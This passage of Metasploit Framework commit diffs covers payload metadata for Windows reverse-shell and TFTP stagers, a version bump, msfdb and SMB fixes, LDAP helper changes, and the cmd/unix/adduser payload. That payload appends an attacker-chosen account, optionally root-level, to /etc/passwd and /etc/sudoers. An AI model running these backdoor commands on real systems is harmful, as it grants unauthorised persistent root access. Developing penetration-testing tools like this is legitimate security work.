false, "needs_cleanup": false }, - "payload_cmd/windows/reverse_lua": { - "name": "Windows Command Shell, Reverse TCP (via Lua)", - "fullname": "payload/cmd/windows/reverse_lua", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", "aliases": [ ], @@ -191078,11 +200602,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "xistence " + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Creates an interactive shell via Lua", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191090,21 +200621,21 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_lua", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/reverse_perl": { - "name": "Windows Command, Double Reverse TCP Connection (via Perl)", - "fullname": "payload/cmd/windows/reverse_perl", + "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", "aliases": [ ], @@ -191112,12 +200643,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "cazz ", - "aushack " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Creates an interactive shell via perl", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191125,10 +200658,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_perl", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -191137,9 +200670,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/reverse_powershell": { - "name": "Windows Command Shell, Reverse TCP (via Powershell)", - "fullname": "payload/cmd/windows/reverse_powershell", + "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttp": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttp", "aliases": [ ], @@ -191147,12 +200680,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Dave Kennedy", - "Ben Campbell " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Connect back and create a command shell via Powershell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - "URL-https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191160,10 +200695,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_powershell", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -191172,9 +200707,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/reverse_ruby": { - "name": "Windows Command Shell, Reverse TCP (via Ruby)", - "fullname": "payload/cmd/windows/reverse_ruby", + "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttps": { + "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttps", "aliases": [ ], @@ -191182,11 +200717,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Connect back and create a command shell via Ruby", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -191194,10 +200732,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/reverse_ruby", + "ref_name": "cmd/windows/tftp/x64/vncinject/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, From 428229aeded824d3ee2b59e7aca84b7eeba91495 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 18 May 2023 12:10:55 -0500 Subject: [PATCH 146/415] Bump version of framework to 6.3.18 --- Gemfile.lock | 2 +- LICENSE_GEMS | 6 +++--- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 536aa4c8534b7..e7dfd6083598b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.3.17) + metasploit-framework (6.3.18) actionpack (~> 7.0) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index fdc00e9c314fd..8451c13806cfe 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -72,7 +72,7 @@ memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.4, "New BSD" -metasploit-framework, 6.3.17, "New BSD" +metasploit-framework, 6.3.18, "New BSD" metasploit-model, 5.0.1, "New BSD" metasploit-payloads, 2.0.130, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" @@ -126,7 +126,7 @@ regexp_parser, 2.8.0, MIT reline, 0.3.3, ruby rex-arch, 0.1.14, "New BSD" rex-bin_tools, 0.1.8, "New BSD" -rex-core, 0.1.30, "New BSD" +rex-core, 0.1.31, "New BSD" rex-encoder, 0.1.6, "New BSD" rex-exploitation, 0.1.38, "New BSD" rex-java, 0.1.6, "New BSD" @@ -137,7 +137,7 @@ rex-powershell, 0.1.97, "New BSD" rex-random_identifier, 0.1.10, "New BSD" rex-registry, 0.1.4, "New BSD" rex-rop_builder, 0.1.4, "New BSD" -rex-socket, 0.1.49, "New BSD" +rex-socket, 0.1.51, "New BSD" rex-sslscan, 0.1.9, "New BSD" rex-struct2, 0.1.3, "New BSD" rex-text, 0.2.50, "New BSD" diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 49f68299358bd..b055cbc39bf48 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.17" + VERSION = "6.3.18" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 8d131f0a951c2ffcf4fc413ab51d95f072c7e591 Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Fri, 19 May 2023 12:57:35 +0100 Subject: [PATCH 147/415] Updates the msfdb prompts for webservice --- msfdb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/msfdb b/msfdb index 0324a32eda144..8ea550d99a1e2 100755 --- a/msfdb +++ b/msfdb @@ -78,7 +78,7 @@ require 'msfenv' retry_max: 10, retry_delay: 5.0, ws_user: nil, - add_data_service: true, + add_data_service: false, data_service_name: nil, use_defaults: false, delete_existing_data: true @@ -921,6 +921,7 @@ def parse_args(args) if !n @options[:add_data_service] = false else + @options[:add_data_service] = true @options[:data_service_name] = n end } @@ -987,8 +988,7 @@ def prompt_for_component(command) return :database end - enable_webservice = ask_yn("Would you like to #{command} the webservice? (Not Required)", default: 'no') - if enable_webservice + if @options[:add_data_service] == true :all else :database From 9dd10d6df7584811864f1d7aaffebd639f0f3a6a Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 19 May 2023 16:12:16 +0100 Subject: [PATCH 148/415] Fix edgecase crash when running smb_login with Kerberos auth activated --- lib/metasploit/framework/login_scanner/smb.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb index dd723e0bfd0d2..d2afbae113ca5 100644 --- a/lib/metasploit/framework/login_scanner/smb.rb +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -2,6 +2,7 @@ require 'metasploit/framework/tcp/client' require 'metasploit/framework/login_scanner/base' require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/kerberos' require 'ruby_smb' module Metasploit From a8fd4e7aba255f50bc55d35b0c9731eca2961be1 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 19 May 2023 13:31:55 -0400 Subject: [PATCH 149/415] Renamed to adduser for consistency --- modules/payloads/singles/cmd/unix/{useradd.rb => adduser.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/payloads/singles/cmd/unix/{useradd.rb => adduser.rb} (100%) diff --git a/modules/payloads/singles/cmd/unix/useradd.rb b/modules/payloads/singles/cmd/unix/adduser.rb similarity index 100% rename from modules/payloads/singles/cmd/unix/useradd.rb rename to modules/payloads/singles/cmd/unix/adduser.rb From b077167d733010b466f81d45d53b3738d9e9f9cf Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 19 May 2023 13:34:12 -0400 Subject: [PATCH 150/415] Redesigned to not use exectuable at all --- modules/payloads/singles/cmd/unix/adduser.rb | 24 ++++++++++++++------ 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 7e7651ab72752..ac923c750d678 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -33,8 +33,13 @@ def initialize(info = {}) register_options( [ OptString.new('USER', [ true, 'The username to create', 'metasploit' ]), - OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]), - OptBool.new('SUDOERS', [false, 'Add new user to sudoers as well', true]) + OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]) + ] + ) + + register_advanced_options( + [ + OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'NONE', ['SUID', 'SUDO', 'NONE']]), ] ) end @@ -51,10 +56,15 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - return "useradd #{datastore['USER']} -p #{datastore['PASS'].crypt('Az')}" + if datastore['SUDOERS'] - ";echo \"#{datastore['USER']} ALL=(ALL:ALL) ALL\">>/etc/sudoers" - else - '' - end + suid = if datastore['RootMethod'] == 'SUID' + '0' + else + rand(1010..1999).to_s + end + payload_cmd = "echo \'#{datastore['USER']}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" + if datastore['RootMethod'] == 'SUDO' + payload_cmd += ";echo \'[ -f /etc/sudoers ]&&(echo \'#{datastore['USER']} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + end + payload_cmd end end From d07f2ed6338c0a641aaf7bdd7121bef99f002228 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 19 May 2023 13:45:11 -0400 Subject: [PATCH 151/415] Set default method to sudo --- modules/payloads/singles/cmd/unix/adduser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index ac923c750d678..f3a03b218cf7b 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -39,7 +39,7 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'NONE', ['SUID', 'SUDO', 'NONE']]), + OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]), ] ) end From c42905fe92ee8d1bff263226bda7e55eb937f3aa Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 19 May 2023 13:45:45 -0400 Subject: [PATCH 152/415] Updated description --- modules/payloads/singles/cmd/unix/adduser.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index f3a03b218cf7b..6e67f0d3791d3 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -14,7 +14,13 @@ def initialize(info = {}) merge_info( info, 'Name' => 'Add user with useradd', - 'Description' => 'Creates a new user and adds them to sudo if desired', + 'Description' => %w[ + Creates a new user. By default the new user is set with sudo + but other options exist to make the new user automatically + root but this is not automatically set since the new user will + be treated as root (and login may be difficult). The new user + can also be set as just a standard user if desired. + ], 'Author' => 'Nick Cottrell ', 'License' => MSF_LICENSE, 'Platform' => 'unix', From fffc7f514d80488ab1acd3646ab0c24006fc912b Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Fri, 19 May 2023 15:24:53 -0400 Subject: [PATCH 153/415] Fixed issue with description --- modules/payloads/singles/cmd/unix/adduser.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 6e67f0d3791d3..1da78754b6859 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -14,13 +14,13 @@ def initialize(info = {}) merge_info( info, 'Name' => 'Add user with useradd', - 'Description' => %w[ + 'Description' => %q{ Creates a new user. By default the new user is set with sudo but other options exist to make the new user automatically root but this is not automatically set since the new user will be treated as root (and login may be difficult). The new user can also be set as just a standard user if desired. - ], + }, 'Author' => 'Nick Cottrell ', 'License' => MSF_LICENSE, 'Platform' => 'unix', From ed026e52eb8bb96f9c5657349540fad74f975312 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sat, 20 May 2023 18:14:46 -0400 Subject: [PATCH 154/415] Fixed echo option so sudo would work --- modules/payloads/singles/cmd/unix/adduser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 1da78754b6859..daded535bf404 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -69,7 +69,7 @@ def command_string end payload_cmd = "echo \'#{datastore['USER']}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" if datastore['RootMethod'] == 'SUDO' - payload_cmd += ";echo \'[ -f /etc/sudoers ]&&(echo \'#{datastore['USER']} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{datastore['USER']} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" end payload_cmd end From 33e59a291e916d4c7fe161312c9fcd3dc58e468f Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 00:26:18 -0400 Subject: [PATCH 155/415] Added check for user --- modules/payloads/singles/cmd/unix/adduser.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index daded535bf404..1e04614877e21 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -45,7 +45,7 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]), + OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]) ] ) end @@ -58,6 +58,11 @@ def generate(_opts = {}) return super + command_string end + def user + fail_with('User cannot have any of these characters') unless datastore['USER'] =~ /^[a-z][-a-z0-9]*$/ + datastore['USER'] + end + # # Returns the command string to use for execution # @@ -67,9 +72,9 @@ def command_string else rand(1010..1999).to_s end - payload_cmd = "echo \'#{datastore['USER']}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" + payload_cmd = "echo \'#{user}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" if datastore['RootMethod'] == 'SUDO' - payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{datastore['USER']} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" end payload_cmd end From 3dc9438b3ae044f41960752041bc1150c0a0d6b4 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 00:33:33 -0400 Subject: [PATCH 156/415] Added firmware version to documentation --- .../modules/auxiliary/scanner/http/archer_c7_traversal.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md index df9df801e8eab..4b1b596ac8f15 100644 --- a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md @@ -11,7 +11,7 @@ This module attempts to spider files from an archer c7 router using a known trav ## Scenarios -### Archer C7 +### Archer C7_V1_141204_US ``` msf6 > use auxiliary/scanner/http/archer_c7_traversal From dc11d818aaf738ffce54080fe9a83a73140b7823 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 00:37:00 -0400 Subject: [PATCH 157/415] Corrected failwith statement --- modules/payloads/singles/cmd/unix/adduser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 1e04614877e21..2e7739fd2dfaa 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -59,7 +59,7 @@ def generate(_opts = {}) end def user - fail_with('User cannot have any of these characters') unless datastore['USER'] =~ /^[a-z][-a-z0-9]*$/ + fail_with(Failure::BadConfig, 'User must fit within this regex /[a-z][-a-z0-9]*/') unless datastore['USER'] =~ /^[a-z][-a-z0-9]*$/ datastore['USER'] end From 4b3d6b59ccb185d9c02da6811d7172f8467d9818 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 12:10:18 -0400 Subject: [PATCH 158/415] Replaced fail_with with raised error --- modules/payloads/singles/cmd/unix/adduser.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 2e7739fd2dfaa..8a0fe042c45ea 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -59,7 +59,10 @@ def generate(_opts = {}) end def user - fail_with(Failure::BadConfig, 'User must fit within this regex /[a-z][-a-z0-9]*/') unless datastore['USER'] =~ /^[a-z][-a-z0-9]*$/ + if datastore['USER'] !~ /^[a-z][-a-z0-9]*$/ + raise ArgumentError, 'Username doesn\'t fit within regex /[a-z][-a-z0-9]*/' + end + datastore['USER'] end From 7a9f13c960c3519d495b25628ba67a66ee8110c5 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 12:18:32 -0400 Subject: [PATCH 159/415] Added option to remove sudoers check --- modules/payloads/singles/cmd/unix/adduser.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 8a0fe042c45ea..35b097269d089 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -45,7 +45,8 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]) + OptEnum.new('RootMethod', [false, 'Set the method that the new user can obtain root', 'SUDO', ['SUID', 'SUDO', 'NONE']]), + OptBool.new('CheckSudoers', [false, 'Add lines to only add to sudoers if file exists', true], conditions: %w[RootMethod == SUDO]) ] ) end @@ -77,7 +78,9 @@ def command_string end payload_cmd = "echo \'#{user}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" if datastore['RootMethod'] == 'SUDO' - payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + if datastore['CheckSudoers'] + payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers" end payload_cmd end From f1468a83edfecfb1e6162f379bbd2e094a4f72e7 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Sun, 21 May 2023 13:40:52 -0400 Subject: [PATCH 160/415] Added forgotten end --- modules/payloads/singles/cmd/unix/adduser.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 35b097269d089..c51fc48312cc2 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -80,6 +80,7 @@ def command_string if datastore['RootMethod'] == 'SUDO' if datastore['CheckSudoers'] payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + end payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers" end payload_cmd From dcbc6d19c5c8f5897223cd47c0a234b6bc1032fa Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 28 Apr 2023 10:09:37 -0400 Subject: [PATCH 161/415] Update #validate_query_result! The function required a filter argument, but not every query has a filter. By removing it, we can reuse the same logic for other operations including modifications. --- lib/msf/core/exploit/remote/ldap.rb | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/remote/ldap.rb b/lib/msf/core/exploit/remote/ldap.rb index 0b2f4003d3bc7..acfacda2dc333 100644 --- a/lib/msf/core/exploit/remote/ldap.rb +++ b/lib/msf/core/exploit/remote/ldap.rb @@ -356,7 +356,7 @@ def validate_bind_success!(ldap) # request failed. Alternatively, if the query_result parameter isn't a hash, then an # ArgumentError will be raised. # @return [Nil] This function does not return any data. - def validate_query_result!(query_result, filter) + def validate_query_result!(query_result, filter=nil) if query_result.class != Hash raise ArgumentError, 'Parameter to "validate_query_result!" function was not a Hash!' end @@ -364,27 +364,27 @@ def validate_query_result!(query_result, filter) # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes case query_result[:code] when 0 - vprint_status("Successfully queried #{filter}.") + vprint_status("Successfully queried #{filter}.") if filter.present? when 1 # This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code. # The user will need to inspect the error message to determine the root cause of the issue. - fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}") + fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}") when 2 fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result[:error_message].strip}") when 3 - fail_with(Msf::Module::Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.") + fail_with(Msf::Module::Failure::TimeoutExpired, 'The LDAP server returned a timeout response to the query.') when 4 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP query #{filter} was determined to result in too many entries for the LDAP server to return.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP query was determined to result in too many entries for the LDAP server to return.') when 11 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP server indicated that #{filter} hit some administrative limit within the server whilst the request was being processed.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP server indicated some administrative limit within the server whilst the request was being processed.') when 16 - fail_with(Msf::Module::Failure::NotFound, "The LDAP operation failed for #{filter} because the referenced attribute does not exist.") + fail_with(Msf::Module::Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.') when 18 - fail_with(Msf::Module::Failure::BadConfig, "The LDAP search with #{filter} failed because some matching is not supported for the target attribute type!") + fail_with(Msf::Module::Failure::BadConfig, 'The LDAP search failed because some matching is not supported for the target attribute type!') when 32 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP search with #{filter} failed cause the operation targeted an entity within the base DN that does not exist.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP search failed because the operation targeted an entity within the base DN that does not exist.') when 33 - fail_with(Msf::Module::Failure::BadConfig, "An attempt was made to deference an alias that didn't resolve properly with #{filter}.") + fail_with(Msf::Module::Failure::BadConfig, "An attempt was made to dereference an alias that didn't resolve properly.") when 34 fail_with(Msf::Module::Failure::BadConfig, 'The request included an invalid base DN entry.') when 50 @@ -396,14 +396,14 @@ def validate_query_result!(query_result, filter) when 53 fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.') when 64 - fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to a naming violation when using #{filter}.") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed due to a naming violation.') when 65 - fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed due to an object class violation.') else if query_result[:error_message].blank? - fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed but no error message was returned!") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed but no error message was returned!') else - fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result[:error_message].strip}") + fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed with error: #{query_result[:error_message].strip}") end end end From d23f407c44af793cff8210cfd4b53048d260a83b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 28 Apr 2023 13:21:28 -0400 Subject: [PATCH 162/415] Monkey patch #modify to accept controls --- lib/rex/proto/ldap.rb | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/ldap.rb b/lib/rex/proto/ldap.rb index eb55d527c8b86..22645438ca743 100644 --- a/lib/rex/proto/ldap.rb +++ b/lib/rex/proto/ldap.rb @@ -57,7 +57,7 @@ def initialize(server) yield self if block_given? end - # Monkeypatch upstream library for now to support :control + # Monkeypatch upstream library for now to support :controls # hash option in `args` so that we can provide controls within # searches. Needed so we can specify the LDAP_SERVER_SD_FLAGS_OID # flag for searches to prevent getting the SACL when querying for @@ -283,6 +283,32 @@ def search(args = nil) message_id: message_id, messages: messages end end + + # Another monkeypatch to support :controls + def modify(args) + modify_dn = args[:dn] or raise "Unable to modify empty DN" + ops = self.class.modify_ops args[:operations] + + message_id = next_msgid + request = [ + modify_dn.to_ber, + ops.to_ber_sequence, + ].to_ber_appsequence(Net::LDAP::PDU::ModifyRequest) + + controls = args.fetch(:controls, nil) + unless controls.nil? + controls = controls.to_ber_contextspecific(0) + end + + write(request, controls, message_id) + pdu = queued_read(message_id) + + if !pdu || pdu.app_tag != Net::LDAP::PDU::ModifyResponse + raise Net::LDAP::ResponseMissingOrInvalidError, "response missing or invalid" + end + + pdu + end end module Rex From 1ffefcbea48a48434faccf5b9110b6f7036242b6 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 1 May 2023 17:14:13 -0400 Subject: [PATCH 163/415] Treat the subauthority as optional This allows some additional SIDs to function such as SECURITY_CREATOR_SID_AUTHORITY. 